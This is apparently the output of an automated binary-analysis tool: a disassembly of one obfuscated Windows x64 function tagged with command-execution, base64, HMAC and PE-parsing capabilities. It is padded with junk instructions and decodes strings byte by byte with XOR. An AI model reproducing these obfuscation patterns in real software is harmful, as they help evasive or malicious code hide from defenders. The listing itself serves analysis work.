Function at 0x14004c61c
Capabilities:
Authenticate hmac
Encode data using base64
Execute command
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
bts rax, rsi
bt rax, rbp
cmp spl, cl
mov qword [rsp + 0x10], rsi
adc ah, 0x3a
lahf
ror ax, cl
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
movsx eax, ax
push rbp
push r14
cwde
lahf
cmovle ebp, r9d
push r15
test r14b, 0x63
lea rbp, [rsp - 0xa50]
btr ax, 0x69
sub rsp, 0xb50
mov rax, qword [0x140040010]
cmc
xor rax, rsp
jmp 0x14004c678
mov qword [rbp + 0xa48], rax
call qword [sym.imp.KERNEL32.dll_AllocConsole]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
jmp 0x14004c692
call qword [sym.imp.KERNEL32.dll_AttachConsole]
mov ecx, 1
jmp 0x14004c6a2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rdi, rax
movsxd rcx, r11d
xchg cl, cl
lea rcx, [0x140040f38]
jmp 0x14004c6bc
call fcn.1400308f0
movzx ecx, byte [rax]
xor cl, 0x77
jmp 0x14004c6cc
mov byte [rsp + 0x30], cl
bswap cx
mov cl, 0xb1
mov word [rsp + 0x31], 0x100
lea rcx, [rsp + 0x30]
jmp 0x14004c6e6
call fcn.14002fd40
lea rcx, [0x140040b70]
call fcn.1400308f0
movzx ecx, byte [rax]
sub bh, 0x8c
xor cl, 0x43
setae bl
mov byte [rsp + 0x38], cl
mov rbx, qword [0x140040b80]
movsx cx, r12b
lea rcx, [0x140040b70]
jmp 0x14004c71f
call fcn.1400308f0
mov rcx, rax
sub edx, edx
mov eax, 1
cmc
cmp esp, r14d
div rbx
sal eax, cl
cbw
movzx eax, byte [rcx + rdx]
xchg bx, cx
xor al, 0x4f
xchg rcx, rbx
movzx rcx, r8w
jmp 0x14004c74e
mov byte [rsp + 0x39], al
bswap rbx
jmp 0x14004c75a
mov rbx, qword [0x140040b80]
xchg cl, cl
mov cl, r8b
movsx rcx, di
lea rcx, [0x140040b70]
call fcn.1400308f0
mov rcx, rax
xor edx, edx
mov eax, 2
test r12b, 0xec
div rbx
bts bx, r13w
movsx ax, spl
shld rbx, rcx, 0xc4
movzx eax, byte [rcx + rdx]
xor al, 0x4e
movsx ecx, r11w
bswap rcx
movsx rcx, r11w
mov byte [rsp + 0x3a], al
movzx ebx, dx
mov ebx, 0x11db725d
not cx
mov rbx, qword [0x140040b80]
bswap ecx
jmp 0x14004c7c9
lea rcx, [0x140040b70]
jmp 0x14004c7d5
call fcn.1400308f0
mov rcx, rax
xor ax, 0x5f96
sub edx, edx
rcr ax, cl
test si, 0x28cf
btc rax, 0x4f
mov eax, 3
test r11b, 0xa7
cmp ax, 0x1356
jmp 0x14004c802
div rbx
bsf ax, r9w
bt ebx, ebx
movzx eax, byte [rcx + rdx]
shl bh, 0x6d
bts ecx, esi
xor al, 0x4f
movsx bx, r9b
mov bx, dx
mov byte [rsp + 0x3b], al
mov rbx, qword [0x140040b80]
lea rcx, [0x140040b70]
jmp 0x14004c838
call fcn.1400308f0
mov rcx, rax
movsx rax, r8w
add rax, rbx
xor edx, edx
shrd ax, bp, 0x52
neg al
mov eax, 4
cmp r9, 0x7e9c18ff
div rbx
btc eax, eax
movzx eax, byte [rcx + rdx]
ror cx, 0x34
cmovge rcx, r14
xor al, 0x55
xchg cl, cl
mov ecx, r13d
mov byte [rsp + 0x3c], al
movsx cx, r13b
mov rbx, qword [0x140040b80]
lea rcx, [0x140040b70]
jmp 0x14004c891
call fcn.1400308f0
mov r8, rax
xor edx, edx
xor ax, bp
ror ax, 0xdf
mov eax, 5
or ch, 0x59
div rbx
movzx eax, byte [r8 + rdx]
xor ch, 0x3b
xor al, 0x54
bswap ecx
mov byte [rsp + 0x3d], al
movsx ebx, r15w
mov rbx, qword [0x140040b80]
jmp 0x14004c8cd
lea rcx, [0x140040b70]
jmp 0x14004c8d9
call fcn.1400308f0
mov rcx, rax
sub edx, edx
setnp al
sar eax, cl
mov eax, 6
div rbx
xor ax, si
sbb ah, 0xa6
sub al, 0x33
movzx eax, byte [rcx + rdx]
xor al, 0x24
bswap rcx
mov byte [rsp + 0x3e], al
xchg ecx, ecx
mov word [rsp + 0x3f], 0x100
movsx rcx, sp
lea rcx, [rsp + 0x38]
jmp 0x14004c91c
call fcn.14002fd70
mov r9, rdi
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x38]
movsxd rcx, esi
jmp 0x14004c936
lea rcx, [rbp + 0x970]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_freopen_s]
lea rcx, [0x140040fd8]
jmp 0x14004c94f
call fcn.1400308f0
movzx ecx, byte [rax]
xor cl, 0x43
movsx rax, r12w
cmovnp ax, r9w
movsx eax, cl
movsxd rbx, edi
mov word [rbp - 0x10], ax
bswap cx
movsx bx, spl
setg bh
mov rbx, qword [0x140040fe8]
lea rcx, [0x140040fd8]
jmp 0x14004c98b
call fcn.1400308f0
mov rcx, rax
sub edx, edx
cdqe
add ah, 0xf4
mov eax, 1
div rbx
inc al
movzx rax, si
bts ax, r10w
movzx eax, byte [rcx + rdx]
setl ch
cmc
xor al, 0x3a
not dl
cmp r14w, r14w
add rdx, 0x2c984923
movsx eax, al
sub rcx, 0x2a67382d
cmp r14d, 0x389d1f03
clc
mov word [rbp - 0xe], ax
ror ch, 0xb3
xor r12d, r12d
mov word [rbp - 0xc], r12w
mov byte [rbp - 0xa], 1
movsx rdx, r10w
lea rdx, [rbp + 0xa28]
mov cx, 0x4da4
lea rcx, [rbp - 0x10]
call fcn.140007380
nop
movsx ecx, r10w
not rcx
mov cl, spl
lea rcx, [0x140040fd8]
jmp 0x14004ca18
call fcn.1400308f0
movzx ecx, byte [rax]
xor cl, 0x44
cbw
not ah
movsx eax, cl
movzx rbx, bx
xchg ch, bl
mov word [rbp - 8], ax
mov bh, 0x1a
mov rbx, qword [0x140040fe8]
bswap rcx
movzx cx, r10b
movsx rcx, r8w
lea rcx, [0x140040fd8]
call fcn.1400308f0
mov rcx, rax
bts ax, r14w
cmp r13b, bl
shl ah, 0x73
xor edx, edx
ror ah, cl
mov eax, 1
div rbx
shrd ax, ax, 0xcd
movzx eax, byte [rcx + rdx]
btr rdx, r14
movsxd rdx, r9d
xor al, 0x3a
movsx eax, al
jmp 0x14004ca8a
mov word [rbp - 6], ax
movsx dx, bl
mov word [rbp - 4], r12w
mov edx, 0x5f835d65
movsx edx, di
mov byte [rbp - 2], 1
movsxd rdx, r11d
lea rdx, [rbp + 0xa08]
movzx ecx, si
jmp 0x14004cab5
lea rcx, [rbp - 8]
jmp 0x14004cabe
call fcn.140007380
nop
movzx rcx, r15w
lea rcx, [0x140040fd8]
jmp 0x14004cad4
call fcn.1400308f0
movzx edx, byte [rax]
xor dl, 0x45
setp ch
cbw
movsxd rax, r8d
movsx eax, dl
cmovno ebx, esp
movsx ebx, sp
bswap cx
mov word [rbp], ax
mov cx, 0x1c26
bswap bx
movzx rbx, ax
mov rbx, qword [0x140040fe8]
cmovns ecx, esi
lea rcx, [0x140040fd8]
call fcn.1400308f0
mov rcx, rax
sub edx, edx
movsx ax, r15b
mov eax, 1
cmp r9w, 0x757
jmp 0x14004cb32
div rbx
clc
movzx eax, byte [rcx + rdx]
rcr cx, 0xec
movsx rdx, r14w
xor al, 0x3a
movsx dx, r15b
movsx edx, ax
xchg cl, ch
movsx eax, al
movsxd rcx, r11d
mov word [rbp + 2], ax
movsx edx, r12w
mov word [rbp + 4], r12w
mov cx, 0x16c4
movzx cx, dl
bswap cx
mov byte [rbp + 6], 1
lea rdx, [rbp + 0x9e8]
bswap cx
lea rcx, [rbp]
jmp 0x14004cb83
call fcn.140007380
nop
jmp 0x14004cb8e
xorps xmm0, xmm0
sub eax, eax
xchg dx, dx
movsxd rdx, edi
movups xmmword [rbp + 0x998], xmm0
xchg dh, cl
not edx
mov qword [rbp + 0x9a8], rax
sete dh
movsx edx, r12w
movzx edx, r15w
lea rdx, [rbp + 0xa28]
xchg ch, cl
movsxd rcx, r12d
jmp 0x14004cbc7
lea rcx, [rbp + 0x4f0]
jmp 0x14004cbd3
call fcn.1400306d0
nop
mov dx, 0x7b86
movsx ecx, sp
bswap dx
lea rdx, [rbp + 0xa08]
lea rcx, [rbp + 0x510]
call fcn.1400306d0
nop
movsx rcx, r9w
cwd
cmovo rcx, rdi
lea rdx, [rbp + 0x9e8]
bswap cx
lea rcx, [rbp + 0x530]
jmp 0x14004cc17
call fcn.1400306d0
nop
cdqe
cbw
lea rax, [rbp + 0x4f0]
movsxd r8, esp
movzx rdx, r15w
not cl
mov qword [rbp + 0x4d0], rax
lea rax, [rbp + 0x550]
mov qword [rbp + 0x4d8], rax
movsx r8, dx
movsxd rcx, r13d
lea r8, [rbp - 0x3f]
lea rdx, [rbp + 0x4d0]
lea rcx, [rbp + 0x998]
jmp 0x14004cc64
call fcn.14002feb0
nop
movsx r9w, dil
lea r9, [fcn.140030660]
xchg cl, r8b
movsx ecx, r15w
lea edx, [r12 + 0x20]
bswap rcx
lea r8d, [r12 + 3]
xchg ch, cl
lea rcx, [rbp + 0x4f0]
call fcn.140035d18
call qword [sym.imp.MSVCP140.dll__Thrd_hardware_concurrency]
mov r15d, eax
mov byte [rbp + 0x978], r12b
test si, 0x53b3
rcl rsi, 0xcf
xor r14d, r14d
mov rsi, qword [rbp + 0x998]
clc
btc r14, 0xd
mov r14, qword [rbp + 0x9a0]
cmp rsi, r14
jmp 0x14004ccd0
je 0x14005b6a5
nop word [rax + rax]
movzx r8w, r13b
lea r8, [0x140039ec0]
mov rdx, rsi
movzx ecx, r14w
setg cl
movsxd rcx, edi
lea rcx, [rbp + 0x9c8]
jmp 0x14004cd01
call fcn.1400339c0
nop
jmp 0x14004cd0c
xorps xmm0, xmm0
sub eax, eax
movsx ecx, r9w
movups xmmword [rbp + 0x9b0], xmm0
movsx cx, bl
setl ch
mov qword [rbp + 0x9c0], rax
movsx cx, dl
lea rcx, [0x140041058]
call fcn.1400308f0
movzx ecx, byte [rax]
xchg bx, ax
cmp ah, 0xf4
sub bl, bpl
xor cl, 0x78
movzx rax, r9w
mov bl, sil
movsx eax, cl
movsx rbx, cx
movzx rcx, si
movzx bx, dh
mov word [rbp + 0x2f0], ax
mov rbx, qword [0x140041068]
jmp 0x14004cd7a
lea rcx, [0x140041058]
jmp 0x14004cd86
call fcn.1400308f0
mov rcx, rax
movsxd rax, esp
sub edx, edx
sar ax, cl
xor ax, 0x63d3
add al, 0xab
mov eax, 1
div rbx
sbb eax, 0x467a7617
bts bx, r9w
movzx eax, byte [rcx + rdx]
sub bh, ch
adc ecx, 0x57632d31
xor ch, 0x60
xor al, 0x36
movzx bx, dl
cmovl rbx, r8
xchg ch, ch
movsx eax, al
mov cx, 0x6386
setg bh
mov bl, r11b
mov word [rbp + 0x2f2], ax
movsx rbx, r11w
bswap bx
mov rbx, qword [0x140041068]
xchg cl, ch
lea rcx, [0x140041058]
jmp 0x14004cdf9
call fcn.1400308f0
mov rcx, rax
cbw
sub edx, edx
mov eax, 2
div rbx
movzx eax, byte [rcx + rdx]
rcl ebx, cl
xor al, 0x34
movsx eax, al
movsx bx, r11b
mov cl, 0xe4
movzx ebx, dx
mov word [rbp + 0x2f4], ax
mov ch, 0xd9
mov rbx, r11
mov rbx, qword [0x140041068]
bswap cx
not cl
lea rcx, [0x140041058]
jmp 0x14004ce47
call fcn.1400308f0
mov rcx, rax
mov eax, 0x72aa7cbd
sar rax, cl
xor edx, edx
mov eax, 3
cmp sil, 0x33
div rbx
sub eax, ebx
setbe bh
movzx eax, byte [rcx + rdx]
xor al, 0x64
movsx cx, r15b
mov cx, 0x400e
movzx rbx, r10w
movsx eax, al
mov bx, r13w
movsx bx, sil
mov word [rbp + 0x2f6], ax
movzx bx, r12b
movsx ecx, r10w
movzx ebx, r13w
mov rbx, qword [0x140041068]
movzx ecx, r15w
mov ch, cl
bswap cx
lea rcx, [0x140041058]
jmp 0x14004ceb9
call fcn.1400308f0
mov rcx, rax
shld eax, esi, 0x57
xor edx, edx
stc
mov eax, 4
div rbx
not bh
shr bh, cl
movzx eax, byte [rcx + rdx]
xor al, 0x62
not cx
movsx ecx, cx
mov ebx, r9d
movsx eax, al
mov word [rbp + 0x2f8], ax
not bx
movzx cx, r8b
mov rbx, qword [0x140041068]
setge ch
xchg ch, ch
lea rcx, [0x140041058]
call fcn.1400308f0
mov rcx, rax
bts eax, r8d
rol al, cl
xor edx, edx
sub ax, 0x2eaf
mov eax, 5
stc
div rbx
cmp dl, r8b
movzx eax, byte [rcx + rdx]
cmp r12b, 0x29
jmp 0x14004cf35
xor al, 0x67
mov rbx, rax
jmp 0x14004cf42
movsx eax, al
movzx cx, r10b
jmp 0x14004cf4f
mov word [rbp + 0x2fa], ax
mov rbx, qword [0x140041068]
jmp 0x14004cf66
lea rcx, [0x140041058]
call fcn.1400308f0
mov rcx, rax
rcr ax, cl
setae ah
adc eax, r14d
xor edx, edx
mov eax, 6
div rbx
shr ax, cl
rcr bh, cl
not bx
movzx eax, byte [rcx + rdx]
mov rbx, 0x5494563f
xor al, 0x2e
mov ebx, r9d
movsx eax, al
movsx rbx, r11w
mov word [rbp + 0x2fc], ax
mov rbx, qword [0x140041068]
mov ecx, 0x592b119f
movsx ecx, r8w
lea rcx, [0x140041058]
jmp 0x14004cfca
call fcn.1400308f0
mov rcx, rax
bts ax, r10w
sal al, cl
sar eax, 0x27
xor edx, edx
mov eax, 7
div rbx
movzx eax, byte [rcx + rdx]
cmovle ecx, edi
btr cx, r11w
xor al, 0x64
xchg bh, ch
movsx bx, bpl
movsx eax, al
movzx cx, r13b
mov word [rbp + 0x2fe], ax
mov rbx, qword [0x140041068]
seto ch
movzx ecx, r15w
cmovnp ecx, esi
lea rcx, [0x140041058]
jmp 0x14004d027
call fcn.1400308f0
mov rcx, rax
adc al, 0xd3
sub edx, edx
shrd ax, bp, 0xf5
mov eax, 8
div rbx
dec bl
adc al, r8b
movzx eax, byte [rcx + rdx]
movzx cx, r9b
xor al, 0x6c
jmp 0x14004d055
movsx eax, al
mov word [rbp + 0x300], ax
jmp 0x14004d06b
mov rbx, qword [0x140041068]
bswap ecx
movzx ecx, r13w
lea rcx, [0x140041058]
jmp 0x14004d084
call fcn.1400308f0
mov rcx, rax
add ah, 0xb1
and al, 0x36
cmp r9w, 0x5fd6
xor edx, edx
xor ah, 0xfa
and al, spl
mov eax, 9
cmp si, r10w
test r15b, 0x4f
stc
div rbx
clc
movzx rax, r15w
bts ax, sp
movzx eax, byte [rcx + rdx]
cmovg ecx, ebx
xor al, 0x6c
movsx eax, al
shl ch, cl
btc rdx, 0x67
shld dx, sp, 0xa6
mov word [rbp + 0x302], ax
cmovae edx, esp
xor eax, eax
cqo
mov word [rbp + 0x304], ax
movsx dx, r15b
mov byte [rbp + 0x306], 1
movzx cx, r13b
sets dh
movsxd rdx, r8d
lea rdx, [rbp + 0x550]
movsxd rcx, r8d
movzx cx, r11b
xchg cx, cx
lea rcx, [rbp + 0x2f0]
jmp 0x14004d11b
call fcn.14002fb50
nop
jmp 0x14004d12e
lea rcx, [0x140040eb8]
jmp 0x14004d13a
call fcn.1400308f0
movzx ecx, byte [rax]
shrd bx, r11w, 0x78
test r8b, r10b
btc bx, r12w
xor cl, 0x69
movsx eax, cl
mov word [rbp + 0x2a8], ax
xchg rcx, rcx
mov rbx, qword [0x140040ec8]
lea rcx, [0x140040eb8]
jmp 0x14004d173
call fcn.1400308f0
mov rcx, rax
shld rax, r11, 0x9f
cmc
movsxd rax, r13d
sub edx, edx
sub eax, ebx
mov eax, 1
test sil, 0xa6
div rbx
dec ax
movzx eax, byte [rcx + rdx]
movzx bx, r8b
shr cl, 0x56
xor al, 0x64
cmovno cx, r13w
setle bl
not ch
movsx eax, al
movzx rcx, bp
mov word [rbp + 0x2aa], ax
cmovge cx, r11w
mov rbx, qword [0x140040ec8]
movsx rcx, sp
jmp 0x14004d1d2
lea rcx, [0x140040eb8]
jmp 0x14004d1de
call fcn.1400308f0
mov rcx, rax
xor ax, 0x7df1
bswap rax
shr ax, cl
xor edx, edx
cmp r9d, esi
lahf
mov eax, 2
div rbx
movzx eax, byte [rcx + rdx]
movsx bx, ah
xor al, 0x61
movsx eax, al
movsxd rbx, r11d
movsx rbx, bx
mov word [rbp + 0x2ac], ax
movsx cx, sil
mov rbx, qword [0x140040ec8]
mov ecx, r9d
movsx ecx, si
lea rcx, [0x140040eb8]
jmp 0x14004d237
call fcn.1400308f0
mov rcx, rax
not al
sub edx, edx
sal ax, 0x43
ror al, 0xad
movsx rax, dx
mov eax, 3
div rbx
adc ebx, esi
sbb bh, 0xe0
mov bx, bx
movzx eax, byte [rcx + rdx]
xor al, 0x36
movsx eax, al
xchg ebx, ebx
mov word [rbp + 0x2ae], ax
mov rbx, qword [0x140040ec8]
lea rcx, [0x140040eb8]
jmp 0x14004d283
call fcn.1400308f0
mov rcx, rax
adc ax, dx
xor edx, edx
bswap ax
sbb al, dl
mov eax, 4
clc
div rbx
mov al, sil
movzx eax, byte [rcx + rdx]
sal bx, 0x54
xor al, 0x34
movsx eax, al
not bx
cmove rbx, r9
movsx bx, r8b
mov word [rbp + 0x2b0], ax
mov rbx, qword [0x140040ec8]
xchg ch, cl
movsx cx, bpl
lea rcx, [0x140040eb8]
jmp 0x14004d2db
call fcn.1400308f0
mov rcx, rax
test dl, 0x45
sub edx, edx
mov eax, 5
test ch, 0x9e
clc
jmp 0x14004d2f6
div rbx
cbw
bts ax, r15w
dec ax
movzx eax, byte [rcx + rdx]
clc
xor al, 0x2e
movsx ebx, cx
mov bh, 0xed
movsx eax, al
movzx ebx, cx
mov cx, 0x500a
not bl
mov word [rbp + 0x2b2], ax
movsxd rcx, edx
movsx ecx, r14w
mov rbx, qword [0x140040ec8]
lea rcx, [0x140040eb8]
jmp 0x14004d33d
call fcn.1400308f0
mov rcx, rax
shr ah, 0x95
bts ax, r11w
xor edx, edx
movsxd rax, ebp
bt eax, 0x74
mov eax, 6
clc
div rbx
rcl ah, 0xa9
movzx rax, cx
nop
movzx eax, byte [rcx + rdx]
btc bx, bp
shrd ebx, r14d, 0xca
xor al, 0x64
movsx bx, r13b
mov rcx, 0x5f267a82
setp bl
movsx eax, al
mov word [rbp + 0x2b4], ax
movzx cx, dh
xchg cx, bx
movzx ecx, r9w
mov rbx, qword [0x140040ec8]
mov ch, 0x43
movzx ecx, r13w
jmp 0x14004d3ae
lea rcx, [0x140040eb8]
jmp 0x14004d3ba
call fcn.1400308f0
mov rcx, rax
lahf
movsxd rax, r9d
btc ax, bx
xor edx, edx
movzx ax, r11b
inc al
mov eax, 7
div rbx
rol ax, 0x11
btr rax, 0xc8
movzx eax, byte [rcx + rdx]
xor al, 0x6c
movzx ebx, r10w
movsx eax, al
movzx rbx, r11w
mov word [rbp + 0x2b6], ax
cmovnp cx, r13w
movzx ebx, r15w
mov rbx, qword [0x140040ec8]
movsxd rcx, r14d
lea rcx, [0x140040eb8]
jmp 0x14004d41b
call fcn.1400308f0
mov rcx, rax
ror ah, cl
xor edx, edx
mov eax, 8
cmc
clc
div rbx
cdqe
add al, 0xc7
movzx eax, byte [rcx + rdx]
sub dl, r10b
xor al, 0x6c
test bl, r10b
movsx eax, al
sbb cx, bp
or dx, r9w
shrd cx, r11w, 0x7e
mov word [rbp + 0x2b8], ax
btc dx, r15w
xor eax, eax
movzx dx, r9b
movsx edx, r15w
mov word [rbp + 0x2ba], ax
movsx ecx, bx
bswap rdx
mov dx, r13w
mov byte [rbp + 0x2bc], 1
movzx cx, r14b
mov dx, 0x6209
cmovae ecx, r10d
lea rdx, [rbp + 0x570]
xchg rcx, rcx
lea rcx, [rbp + 0x2a8]
jmp 0x14004d4a3
call fcn.14002f980
nop
movzx ecx, cx
lea rcx, [0x140040cd0]
jmp 0x14004d4b8
call fcn.1400308f0
movzx ecx, byte [rax]
sub rbx, 0x138717ea
btc ax, si
rcl ax, 0xd4
xor cl, 0x69
movsx eax, cl
movsx ecx, dx
mov word [rbp + 0x258], ax
movsx cx, bpl
mov rbx, qword [0x140040ce0]
mov ch, 3
movsx ecx, sp
lea rcx, [0x140040cd0]
jmp 0x14004d4fd
call fcn.1400308f0
mov rcx, rax
xor edx, edx
bsr rax, r9
cmovp ax, r8w
clc
mov eax, 1
cmc
test rsi, r10
jmp 0x14004d51f
div rbx
btr rax, 0xe6
sub rbx, r8
cmp r11b, r12b
movzx eax, byte [rcx + rdx]
adc rcx, rdi
ror rbx, cl
xor al, 0x64
movzx ecx, dx
cmovb rbx, r12
movsx eax, al
mov word [rbp + 0x25a], ax
mov rbx, qword [0x140040ce0]
movsx rcx, r15w
cmovns cx, r10w
movzx ecx, ax
lea rcx, [0x140040cd0]
jmp 0x14004d569
call fcn.1400308f0
mov rcx, rax
xor edx, edx
jmp 0x14004d578
mov eax, 2
cmp r11b, 8
cmp spl, r9b
div rbx
sar eax, cl
xadd bl, bl
movzx eax, byte [rcx + rdx]
dec ebx
bts bx, r12w
sar cl, cl
xor al, 0x61
movsx bx, r8b
movsxd rcx, esp
setp bl
movsx eax, al
movzx bx, r12b
cmovbe cx, bx
mov ebx, ebp
mov word [rbp + 0x25c], ax
jmp 0x14004d5c0
mov rbx, qword [0x140040ce0]
not ecx
jmp 0x14004d5d1
lea rcx, [0x140040cd0]
jmp 0x14004d5dd
call fcn.1400308f0
mov rcx, rax
shr eax, cl
xor edx, edx
stc
sal al, cl
btr ax, r14w
mov eax, 3
cmp r12b, cl
cmc
div rbx
movzx eax, byte [rcx + rdx]
rcl cl, cl
xor al, 0x2e
movzx ecx, r9w
xchg bl, cl
mov bh, 0xf7
movsx eax, al
mov word [rbp + 0x25e], ax
bswap rcx
mov rbx, qword [0x140040ce0]
mov cl, 0x14
movsx cx, r11b
lea rcx, [0x140040cd0]
jmp 0x14004d635
call fcn.1400308f0
mov rcx, rax
cmp cl, dil
sal ax, cl
sub edx, edx
shl ah, cl
mov eax, 4
jmp 0x14004d653
div rbx
btc eax, 0x1e
movzx bx, dil
movzx eax, byte [rcx + rdx]
bsf cx, r12w
bts bx, r13w
xor al, 0x64
movsx bx, bh
xchg cl, bl
mov cl, 0xc3
movsx eax, al
movzx ecx, r9w
cmovb cx, r10w
mov word [rbp + 0x260], ax
movzx ecx, bx
jmp 0x14004d697
mov rbx, qword [0x140040ce0]
lea rcx, [0x140040cd0]
jmp 0x14004d6aa
call fcn.1400308f0
mov rcx, rax
movsxd rax, r13d
cmovbe eax, r10d
sal ah, 0xc0
xor edx, edx
shld rax, r15, 0xa0
movzx rax, r8w
sub ah, 0x1d
mov eax, 5
div rbx
movzx eax, byte [rcx + rdx]
bsr rcx, r13
rcl ebx, 0x1f
rol ecx, cl
xor al, 0x6c
xchg bl, bh
movsx ecx, r8w
jmp 0x14004d6ec
movsx eax, al
movsx bx, dil
mov word [rbp + 0x262], ax
movsx rcx, r11w
mov rbx, qword [0x140040ce0]
mov ecx, 0x2b9515de
lea rcx, [0x140040cd0]
jmp 0x14004d717
call fcn.1400308f0
mov rcx, rax
xor edx, edx
setbe al
mov eax, 6
test rsp, 0x123578c2
div rbx
cmc
shl rax, 0x3d
movsx rax, r15w
movzx eax, byte [rcx + rdx]
xor al, 0x6c
rcr dx, cl
bts edx, esp
cmp bx, 0x545b
movsx eax, al
and cx, r14w
mov word [rbp + 0x264], ax
bsr rcx, rbp
sub eax, eax
not rcx
mov word [rbp + 0x266], ax
movzx rdx, bp
movsx rdx, r12w
cmovl cx, r14w
mov byte [rbp + 0x268], 1
movzx cx, r14b
mov cx, 0x1d6
cwd
lea rdx, [rbp + 0x590]
lea rcx, [rbp + 0x258]
call fcn.14002f810
nop
cmovg rcx, r13
mov rcx, 0x2e243ce0
lea rcx, [0x140041058]
call fcn.1400308f0
movzx ecx, byte [rax]
and rax, 0x50e24e7a
xor cl, 0x53
movzx bx, r12b
movsxd rax, edi
movsx eax, cl
not cx
mov word [rbp + 0x2d8], ax
not bh
mov rbx, qword [0x140041068]
movzx ecx, bx
xchg ch, cl
movsx cx, r11b
lea rcx, [0x140041058]
jmp 0x14004d7f6
call fcn.1400308f0
mov rcx, rax
sub edx, edx
movzx ax, r14b
sar ah, 0xe5
sbb al, 9
mov eax, 1
stc
test dl, 0x2e
div rbx
movzx eax, byte [rcx + rdx]
jmp 0x14004d822
xor al, 0x63
cmovno ebx, edi
movsx eax, al
mov rbx, 0x24db286d
setle ch
movzx bx, r13b
mov word [rbp + 0x2da], ax
movsxd rcx, ebp
mov rbx, qword [0x140041068]
lea rcx, [0x140041058]
jmp 0x14004d856
call fcn.1400308f0
mov rcx, rax
xor edx, edx
mov al, r10b
mov eax, 2
div rbx
movsxd rax, r11d
bts bx, dx
btr ax, cx
movzx eax, byte [rcx + rdx]
xor cl, r11b
adc bh, 0x74
xor al, 0x79
cmovg cx, si
movzx bx, bl
movzx ebx, si
movsx eax, al
mov word [rbp + 0x2dc], ax
movsxd rbx, r12d
mov rbx, qword [0x140041068]
movzx rcx, r8w
movzx cx, bh
lea rcx, [0x140041058]
jmp 0x14004d8b5
call fcn.1400308f0
mov rcx, rax
sub edx, edx
sar eax, 0x23
bt ax, 0x50
stc
mov eax, 3
cmc
stc
cmp r15w, bx
div rbx
movsx bx, bl
movzx eax, byte [rcx + rdx]
movzx ebx, sp
or bx, bp
xor al, 0x6c
movsx cx, r15b
movsx eax, al
jmp 0x14004d8f5
mov word [rbp + 0x2de], ax
sets ch
movzx rbx, r9w
mov rbx, qword [0x140041068]
movzx cx, ah
mov cx, r9w
lea rcx, [0x140041058]
call fcn.1400308f0
mov rcx, rax
xor edx, edx
movsxd rax, r10d
mov eax, 4
div rbx
movzx eax, byte [rcx + rdx]
btc cx, 0xc9
shl bx, 0xc8
xor al, 0x6c
bswap rbx
movsx eax, al
movsxd rcx, ebx
movzx ecx, bx
movsx ecx, r12w
mov word [rbp + 0x2e0], ax
movzx bx, bpl
xchg cx, bx
mov rbx, qword [0x140041068]
movsx ecx, r15w
mov cl, dh
jmp 0x14004d96e
lea rcx, [0x140041058]
jmp 0x14004d97a
call fcn.1400308f0
mov rcx, rax
sub edx, edx
rcr al, cl
mov eax, 5
test r13b, cl
div rbx
lahf
movzx eax, byte [rcx + rdx]
xor al, 0x61
movsx eax, al
mov ch, 0x44
movzx ecx, r8w
cmovns bx, r8w
mov word [rbp + 0x2e2], ax
mov rbx, qword [0x140041068]
mov cl, r12b
movsx cx, spl
movsxd rcx, ebp
lea rcx, [0x140041058]
call fcn.1400308f0
mov rcx, rax
rol eax, 0xb2
or al, 0xe4
sub edx, edx
sbb al, r11b
mov eax, 6
div rbx
add bx, 0x410e
xchg bx, ax
movzx eax, byte [rcx + rdx]
shrd rcx, rcx, 0x1a
xor al, 0x2e
setno bh
movsx rcx, sp
xchg cx, bx
movsx eax, al
mov word [rbp + 0x2e4], ax
xchg rbx, rcx
bswap cx
mov rbx, qword [0x140041068]
lea rcx, [0x140041058]
jmp 0x14004da20
call fcn.1400308f0
mov rcx, rax
sal ax, cl
cmp edi, esp
xor edx, edx
mov eax, 7
jmp 0x14004da3d
div rbx
btc ax, r15w
rol bx, 0x46
movzx eax, byte [rcx + rdx]
xor al, 0x65
movzx rcx, r15w
bswap rcx
mov ebx, r12d
movsx eax, al
movzx ebx, di
mov word [rbp + 0x2e6], ax
mov bl, r14b
mov rbx, qword [0x140041068]
movsx cx, r15b
movzx ecx, bp
movzx cx, dh
lea rcx, [0x140041058]
jmp 0x14004da88
call fcn.1400308f0
mov rcx, rax
adc al, r10b
xor edx, edx
sbb ax, sp
sal ah, 0xd6
mov eax, 8
cmp r10b, r8b
test si, 0x585a
div rbx
movzx eax, byte [rcx + rdx]
xor al, 0x78
jmp 0x14004dabb
movsx eax, al
xchg bx, cx
mov word [rbp + 0x2e8], ax
movzx ebx, r8w
mov rbx, qword [0x140041068]
jmp 0x14004dada
lea rcx, [0x140041058]
jmp 0x14004dae6
call fcn.1400308f0
mov rcx, rax
sub edx, edx
mov eax, 9
test rbx, r13
stc
test cx, 0x7563
div rbx
movzx eax, byte [rcx + rdx]
cmove rcx, rdi
movzx rcx, cx
xor al, 0x65
shld cx, r15w, 0x71
rcr cx, 0x56
movsx eax, al
and dl, dil
mov word [rbp + 0x2ea], ax
sub eax, eax
mov word [rbp + 0x2ec], ax
setge ch
mov byte [rbp + 0x2ee], 1
movzx rdx, r9w
lea rdx, [rbp + 0x5b0]
movsx cx, ch
bswap cx
movzx ecx, bp
lea rcx, [rbp + 0x2d8]
jmp 0x14004db5a
call fcn.14002fb50
nop
xchg cx, cx
bswap ecx
lea rcx, [0x140040c10]
jmp 0x14004db71
call fcn.1400308f0
movzx ecx, byte [rax]
rol bx, cl
xor cl, 0x53
movzx ebx, r12w
mov eax, 0x35431a01
not ah
movsx eax, cl
mov word [rbp + 0x368], ax
mov bx, 0x2ba1
mov rbx, qword [0x140040c20]
mov cl, ch
movzx ecx, bp
lea rcx, [0x140040c10]
jmp 0x14004dbb0
call fcn.1400308f0
mov rcx, rax
sub edx, edx
shr ah, 0x9d
mov eax, 1
clc
div rbx
and bh, 0x3a
xor rbx, r9
rol ah, 0x6e
movzx eax, byte [rcx + rdx]
test r12b, r14b
xor al, 0x63
movsx eax, al
mov word [rbp + 0x36a], ax
movsxd rbx, r14d
mov rbx, qword [0x140040c20]
jmp 0x14004dbf8
lea rcx, [0x140040c10]
call fcn.1400308f0
mov rcx, rax
neg ax
cmovnp ax, sp
and al, r11b
xor edx, edx
lahf
movsx rax, dx
rcl al, 0x7e
mov eax, 2
clc
jmp 0x14004dc26
div rbx
